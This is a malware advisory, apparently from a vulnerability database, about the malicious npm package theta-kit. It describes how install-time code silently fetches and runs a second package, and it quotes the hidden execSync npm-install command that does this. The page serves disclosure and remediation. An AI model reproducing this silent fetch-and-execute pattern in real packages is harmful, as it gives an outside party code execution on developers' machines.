# MAL-2026-5706: Malicious code in theta-kit (npm)


- **Type:** Malicious package
- **Package:** `theta-kit` (npm)
- **Published:** 12 Jun 2026
- **Also known as:** GHSA-ccpw-cfwc-qgw4

## What is MAL-2026-5706?

MAL-2026-5706 is a malicious package in theta-kit, published on 12 Jun 2026. 

### Official description

package.json declares `postinstall: node dist/index.js`, and dist/index.js executes `Model.resetor()` at module top level — meaning both `npm install theta-kit` and `require('theta-kit')` hand control to a separate package, 'theta-connector'. resetor() instantiates `new ThetaConnector({})` and calls `db.queryDBConnect()`. If 'theta-connector' is not present, the catch branch silently runs `execSync('npm install theta-connector --no-warnings --no-save --no-progress --loglevel silent')` and then `require`s and executes it. The package that ultimately runs is not shipped in this tarball, so its bytes can change at any time without any update to theta-kit. Output is suppressed and errors are swallowed, hiding the fetch-and-execute from the installer. The package also declares a runtime dependency on `child_process@^1.0.2`, an unrelated registry placeholder sharing a name with Node's built-in module — a confusion pattern that adds a second installer-controlled execution surface. The install-time fetch-and-execute pattern, combined with the silent-self-install fallback and the unrelated 'child_process' registry dep, is unrelated to the package's advertised mobx in-memory DB purpose and gives the maintainer of 'theta-connector' arbitrary code execution on every install or require of theta-kit.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-5706?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-5706 is a malicious package: theta-kit (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-5706/ (Markdown: https://insights.sbomify.com/MAL-2026-5706/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-5706

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-5706/
Summaries are generated and may contain mistakes; the official description above is the record.